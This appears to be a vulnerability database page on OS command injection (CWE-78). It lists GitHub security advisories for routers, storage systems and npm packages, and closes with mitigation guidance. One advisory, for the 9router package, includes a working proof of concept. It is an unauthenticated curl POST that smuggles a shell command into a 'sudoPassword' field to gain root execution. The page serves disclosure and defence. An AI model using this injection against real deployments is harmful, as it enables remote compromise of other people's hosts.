CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8321 vulnerabilities reference this CWE, most recent first.
GHSA-G5WQ-C47P-2H9F
Vulnerability from github – Published: 2025-08-04 15:31 – Updated: 2025-10-03 15:31Dell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.
{
"affected": [],
"aliases": [
"CVE-2025-36604"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-04T14:15:32Z",
"severity": "HIGH"
},
"details": "Dell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.",
"id": "GHSA-g5wq-c47p-2h9f",
"modified": "2025-10-03T15:31:15Z",
"published": "2025-08-04T15:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36604"
},
{
"type": "WEB",
"url": "https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604"
},
{
"type": "WEB",
"url": "https://labs.watchtowr.com/its-never-simple-until-it-is-dell-unityvsa-pre-auth-command-injection-cve-2025-36604"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-si/000350756/dsa-2025-281-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G62F-XP5C-89JW
Vulnerability from github – Published: 2022-05-17 02:41 – Updated: 2025-04-20 03:38I-O DATA DEVICE TS-WRLP firmware version 1.01.02 and earlier and TS-WRLA firmware version 1.01.02 and earlier allows an attacker with administrator rights to execute arbitrary OS commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2016-7819"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-09T16:29:00Z",
"severity": "HIGH"
},
"details": "I-O DATA DEVICE TS-WRLP firmware version 1.01.02 and earlier and TS-WRLA firmware version 1.01.02 and earlier allows an attacker with administrator rights to execute arbitrary OS commands via unspecified vectors.",
"id": "GHSA-g62f-xp5c-89jw",
"modified": "2025-04-20T03:38:44Z",
"published": "2022-05-17T02:41:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7819"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN25059363/index.html"
},
{
"type": "WEB",
"url": "http://www.iodata.jp/support/information/2016/ts-wrlap_2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94594"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G644-9GFX-Q4Q4
Vulnerability from github – Published: 2023-07-13 17:01 – Updated: 2025-11-04 16:44In vm2 for versions up to 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code.
Impact
Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.
Patches
None.
Workarounds
None.
References
PoC is to be disclosed on or after the 5th of September.
Similarity with CVE-2023-37466
While this advisory might look similar to CVE-2023-37466, it is a completely different way of escaping the sandbox.
For more information
If you have any questions or comments about this advisory:
- Open an issue in VM2
Thanks to Xion (SeungHyun Lee) of KAIST Hacking Lab for disclosing this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.9.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37903"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T17:01:58Z",
"nvd_published_at": "2023-07-21T20:15:16Z",
"severity": "CRITICAL"
},
"details": "In vm2 for versions up to 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code.\n\n### Impact\nRemote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.\n\n### Patches\nNone.\n\n### Workarounds\nNone.\n\n### References\nPoC is to be disclosed on or after the 5th of September.\n\n### Similarity with [CVE-2023-37466](https://nvd.nist.gov/vuln/detail/CVE-2023-37466)\nWhile this advisory might look similar to [CVE-2023-37466](https://nvd.nist.gov/vuln/detail/CVE-2023-37466), it is a completely different way of escaping the sandbox.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [VM2](https://github.com/patriksimek/vm2)\n\nThanks to [Xion](https://twitter.com/0x10n) (SeungHyun Lee) of [KAIST Hacking Lab](https://kaist-hacking.github.io/) for disclosing this vulnerability.",
"id": "GHSA-g644-9gfx-q4q4",
"modified": "2025-11-04T16:44:48Z",
"published": "2023-07-13T17:01:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-g644-9gfx-q4q4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37903"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230831-0007"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241108-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 Sandbox Escape vulnerability"
}
GHSA-G65F-GRQM-9JG5
Vulnerability from github – Published: 2026-04-23 21:31 – Updated: 2026-04-23 21:31radare2-mcp version 1.6.0 and earlier contains an os command injection vulnerability that allows remote attackers to execute arbitrary commands by bypassing the command filter through shell metacharacters in user-controlled input passed to r2_cmd_str(). Attackers can inject shell metacharacters through the jsonrpc interface parameters to achieve remote code execution on the host running radare2-mcp without requiring authentication.
{
"affected": [],
"aliases": [
"CVE-2026-6942"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T21:16:06Z",
"severity": "CRITICAL"
},
"details": "radare2-mcp version 1.6.0 and earlier contains an os command injection vulnerability that allows remote attackers to execute arbitrary commands by bypassing the command filter through shell metacharacters in user-controlled input passed to r2_cmd_str(). Attackers can inject shell metacharacters through the jsonrpc interface parameters to achieve remote code execution on the host running radare2-mcp without requiring authentication.",
"id": "GHSA-g65f-grqm-9jg5",
"modified": "2026-04-23T21:31:24Z",
"published": "2026-04-23T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6942"
},
{
"type": "WEB",
"url": "https://github.com/radareorg/radare2-mcp/issues/45"
},
{
"type": "WEB",
"url": "https://github.com/radareorg/radare2-mcp/commit/482cde6500009112a8bc0b3fa8d2ef6180581ec0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/radare2-mcp-os-command-injection-via-shell-metacharacter-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G664-HJ5C-R32G
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43SolarView Compact SV-CPT-MC310 prior to Ver.6.5 allows an attacker to execute arbitrary OS commands with the web server privilege via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2021-20658"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-24T12:15:00Z",
"severity": "CRITICAL"
},
"details": "SolarView Compact SV-CPT-MC310 prior to Ver.6.5 allows an attacker to execute arbitrary OS commands with the web server privilege via unspecified vectors.",
"id": "GHSA-g664-hj5c-r32g",
"modified": "2022-05-24T17:43:00Z",
"published": "2022-05-24T17:43:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20658"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN37417423/index.html"
},
{
"type": "WEB",
"url": "https://www.contec.com/jp/api/downloadlogger?download=https://www.contec.com/jp/-/media/contec/jp/support/security-info/contec_security_solarview_210216.pdf"
},
{
"type": "WEB",
"url": "https://www.contec.com/jp/download/contract/contract2/?itemid=b28c8b7c-9f40-40b2-843c-b5b04c035b0e\u0026downloaditemid=fa248fba-8901-4d9e-8212-b139f2defbdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G682-677F-3P88
Vulnerability from github – Published: 2024-08-07 15:30 – Updated: 2024-08-07 15:30A vulnerability was found in Alien Technology ALR-F800 up to 19.10.24.00. It has been declared as critical. Affected by this vulnerability is the function popen of the file /var/www/cgi-bin/upgrade.cgi of the component File Name Handler. The manipulation of the argument uploadedFile leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-7579"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-07T14:15:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Alien Technology ALR-F800 up to 19.10.24.00. It has been declared as critical. Affected by this vulnerability is the function popen of the file /var/www/cgi-bin/upgrade.cgi of the component File Name Handler. The manipulation of the argument uploadedFile leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-g682-677f-3p88",
"modified": "2024-08-07T15:30:42Z",
"published": "2024-08-07T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7579"
},
{
"type": "WEB",
"url": "https://github.com/Push3AX/vul/blob/main/Alien%20Technology%20/ALR-F800.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.273859"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.273859"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.382470"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G683-6WJV-WF4W
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:47cgi-cpn/xcoding/prontus_videocut.cgi in AltaVoz Prontus (aka ProntusCMS) through 12.0.3.0 has "Improper Neutralization of Special Elements used in an OS Command," allowing attackers to execute OS commands via an HTTP GET parameter.
{
"affected": [],
"aliases": [
"CVE-2019-15503"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-26T18:15:00Z",
"severity": "CRITICAL"
},
"details": "cgi-cpn/xcoding/prontus_videocut.cgi in AltaVoz Prontus (aka ProntusCMS) through 12.0.3.0 has \"Improper Neutralization of Special Elements used in an OS Command,\" allowing attackers to execute OS commands via an HTTP GET parameter.",
"id": "GHSA-g683-6wjv-wf4w",
"modified": "2024-04-04T01:47:28Z",
"published": "2022-05-24T16:54:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15503"
},
{
"type": "WEB",
"url": "https://blog.nivel4.com/investigaciones/vulnerabilidad-de-ejecucion-de-comandos-remotos-rce-en-prontuscms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6G7-PVMX-M74P
Vulnerability from github – Published: 2026-07-02 20:17 – Updated: 2026-07-07 18:35Unauthenticated RCE via /api/tunnel/tailscale-install
Affected: 9router (npm package) — current master (v0.4.39).
Summary
POST /api/tunnel/tailscale-install accepts a JSON body with a sudoPassword field and pipes it, followed by the body of https://tailscale.com/install.sh, into a child process spawned as sudo -S sh. The route is not present in the dashboard middleware matcher in src/proxy.js, so the request reaches the handler without invoking dashboardGuard.proxy(). In deployments where the Node process runs as root (Docker images derived from node:* without a USER directive, npm i -g 9router invoked as root, or systemd units without User=), the spawned sh runs as root and executes the attacker-supplied bytes.
Details
1. Middleware matcher (src/proxy.js:3-15)
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire /api/tunnel/* family — do not invoke dashboardGuard.proxy(). No cookie, JWT, CLI token, or Host-header check is applied to them.
2. Route handler (src/app/api/tunnel/tailscale-install/route.js:18-67)
export async function POST(request) {
const body = await request.json().catch(() => ({}));
...
const sudoPassword =
body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
...
const result = await installTailscale(sudoPassword, shortId, (msg) => {
send("progress", { message: msg });
});
...
}
body.sudoPassword comes from the request body and is passed to installTailscale, which dispatches to installTailscaleLinux on Linux.
3. Linux installation routine (src/lib/tunnel/tailscale.js:304-341)
async function installTailscaleLinux(sudoPassword, log) {
log("Downloading install script...");
return new Promise((resolve, reject) => {
const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
let scriptContent = "";
curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
curlChild.on("exit", (code) => {
if (code !== 0) return reject(...);
log("Running install script...");
const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
...
child.stdin.write(`${sudoPassword}\n`); // ← from request body
child.stdin.write(scriptContent);
child.stdin.end();
});
});
}
The byte stream sent to the stdin of the sudo -S sh child process is:
<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>
When the caller is already root, has NOPASSWD configured for the user, or has a recent sudo timestamp cache, sudo -S sh does not read stdin for a password — it execs sh directly. The new sh process inherits the stdin pipe and reads it line by line:
- The
sudoPasswordvalue from the request — interpreted as the first shell command. - The
install.shbody — interpreted as subsequent shell input.
Appending ; exit 0 to the sudoPassword value causes sh to exit before the legitimate install.sh body runs. The host executes only the request-supplied bytes, as the 9router process user.
Both "Docker container running as root" and "npm i -g 9router on a host with NOPASSWD sudo" reach this path.
PoC
The reproduction below is self-contained: build a representative target image (Node process running as root, with sudo and curl on PATH), start it, send one unauthenticated POST with curl, and read the file written by the payload.
Step 1 — build the target image
docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
sudo curl ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN npm install -g 9router@0.4.39
EXPOSE 20128
CMD ["9router"]
EOF
Step 2 — start the target
docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done
Step 3 — exploit (one unauthenticated POST)
curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
-H 'Content-Type: application/json' \
-d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'
Step 4 — verify
docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)
The trailing "Tailscale not installed" line is a consequence of ; exit 0 terminating sh before the legitimate install.sh body executed; the id > /tmp/pwned.txt write completed earlier in the same sh invocation. The POST carried no credentials, cookies, or prior state.
Impact
Type: Improper Access Control + OS Command Injection (CWE-862 + CWE-78).
Affected operators: 9router operators on Linux/macOS whose deployment matches one of the following configurations:
| Configuration | Example | Outcome |
|---|---|---|
| Node process runs as root | Custom Dockerfile without USER, systemd unit without User=, sudo npm i -g 9router && sudo 9router |
Unauthenticated remote root RCE (primary case in this report) |
Node process runs as a normal user with NOPASSWD sudo |
Developer laptop, CI runner, or single-tenant VPS where the operator's user has NOPASSWD: ALL |
Unauthenticated remote RCE as the operator's user; root reachable via sudo from the foothold |
Node process runs as a normal user without NOPASSWD and no stored password |
Hardened multi-user host | The spawn runs but sudo rejects the supplied value. No RCE; the request still triggers an outbound fetch from tailscale.com and the SSE error stream reveals platform information |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.44"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59800"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T20:17:56Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# Unauthenticated RCE via `/api/tunnel/tailscale-install`\n\n**Affected:** `9router` (npm package) \u2014 current master (`v0.4.39`).\n\n### Summary\n\n`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.\n\n### Details\n\n#### 1. Middleware matcher (`src/proxy.js:3-15`)\n\n```js\nexport const config = {\n matcher: [\n \"/\",\n \"/dashboard/:path*\",\n \"/api/shutdown\",\n \"/api/settings/:path*\",\n \"/api/keys\",\n \"/api/keys/:path*\",\n \"/api/providers/client\",\n \"/api/provider-nodes/validate\",\n \"/api/cli-tools/:path*\",\n \"/api/mcp/:path*\",\n ],\n};\n```\n\nNext.js invokes the middleware only for paths matching this list. Routes that are not listed \u2014 including the entire `/api/tunnel/*` family \u2014 do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.\n\n#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)\n\n```js\nexport async function POST(request) {\n const body = await request.json().catch(() =\u003e ({}));\n ...\n const sudoPassword =\n body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || \"\";\n ...\n const result = await installTailscale(sudoPassword, shortId, (msg) =\u003e {\n send(\"progress\", { message: msg });\n });\n ...\n}\n```\n\n`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.\n\n#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)\n\n```js\nasync function installTailscaleLinux(sudoPassword, log) {\n log(\"Downloading install script...\");\n return new Promise((resolve, reject) =\u003e {\n const curlChild = spawn(\"curl\", [\"-fsSL\", \"https://tailscale.com/install.sh\"], { ... });\n let scriptContent = \"\";\n curlChild.stdout.on(\"data\", (d) =\u003e { scriptContent += d.toString(); });\n curlChild.on(\"exit\", (code) =\u003e {\n if (code !== 0) return reject(...);\n log(\"Running install script...\");\n const child = spawn(\"sudo\", [\"-S\", \"sh\"], { stdio: [\"pipe\", \"pipe\", \"pipe\"], windowsHide: true });\n ...\n child.stdin.write(`${sudoPassword}\\n`); // \u2190 from request body\n child.stdin.write(scriptContent);\n child.stdin.end();\n });\n });\n}\n```\n\nThe byte stream sent to the stdin of the `sudo -S sh` child process is:\n\n```\n\u003csudoPassword from request body\u003e\\n\n\u003chttps://tailscale.com/install.sh body\u003e\n```\n\nWhen the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password \u2014 it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:\n\n1. The `sudoPassword` value from the request \u2014 interpreted as the first shell command.\n2. The `install.sh` body \u2014 interpreted as subsequent shell input.\n\nAppending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.\n\nBoth \"Docker container running as root\" and \"`npm i -g 9router` on a host with `NOPASSWD` sudo\" reach this path.\n\n### PoC\n\nThe reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.\n\n**Step 1 \u2014 build the target image**\n\n```sh\ndocker build -t 9router-vuln-root - \u003c\u003c\u0027EOF\u0027\nFROM node:22-bookworm-slim\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n sudo curl ca-certificates \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN npm install -g 9router@0.4.39\nEXPOSE 20128\nCMD [\"9router\"]\nEOF\n```\n\n**Step 2 \u2014 start the target**\n\n```sh\ndocker run -d --rm --name target -p 127.0.0.1:20129:20128 \\\n 9router-vuln-root 9router --log --skip-update\nuntil curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done\n```\n\n**Step 3 \u2014 exploit (one unauthenticated POST)**\n\n```sh\ncurl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"sudoPassword\":\"id \u003e /tmp/pwned.txt; exit 0\"}\u0027\n```\n\n**Step 4 \u2014 verify**\n\n```sh\ndocker exec target cat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\nThe trailing `\"Tailscale not installed\"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id \u003e /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.\n\n### Impact\n\n**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).\n\n**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:\n\n| Configuration | Example | Outcome |\n|---|---|---|\n| Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router \u0026\u0026 sudo 9router` | Unauthenticated remote root RCE (primary case in this report) |\n| Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator\u0027s user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator\u0027s user; root reachable via `sudo` from the foothold |\n| Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |",
"id": "GHSA-g6g7-pvmx-m74p",
"modified": "2026-07-07T18:35:34Z",
"published": "2026-07-02T20:17:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases?q=0.4.44\u0026expanded=true"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "9router: Missing Authorization and OS Command Injection"
}
GHSA-G6M5-C87Q-QCWW
Vulnerability from github – Published: 2023-07-07 21:30 – Updated: 2024-04-04 05:51TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain an unauthenticated remote code execution (RCE) vulnerability via the lang parameter in the setLanguageCfg function.
{
"affected": [],
"aliases": [
"CVE-2023-37170"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-07T20:15:10Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain an unauthenticated remote code execution (RCE) vulnerability via the lang parameter in the setLanguageCfg function.",
"id": "GHSA-g6m5-c87q-qcww",
"modified": "2024-04-04T05:51:00Z",
"published": "2023-07-07T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37170"
},
{
"type": "WEB",
"url": "https://github.com/kafroc/Vuls/tree/main/TOTOLINK/A3300R/cmdi_1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6PP-X9V7-QXM2
Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2024-11-04 18:31In Draytek Vigor3900 1.5.1.3, attackers can inject malicious commands into mainfunction.cgi and execute arbitrary commands by calling the doL2TP function.
{
"affected": [],
"aliases": [
"CVE-2024-51253"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T14:15:16Z",
"severity": "HIGH"
},
"details": "In Draytek Vigor3900 1.5.1.3, attackers can inject malicious commands into mainfunction.cgi and execute arbitrary commands by calling the doL2TP function.",
"id": "GHSA-g6pp-x9v7-qxm2",
"modified": "2024-11-04T18:31:21Z",
"published": "2024-11-04T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51253"
},
{
"type": "WEB",
"url": "https://github.com/fu37kola/cve/blob/main/DrayTek/Vigor3900/1.5.1.3/DrayTek_Vigor_3900_1.5.1.3.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
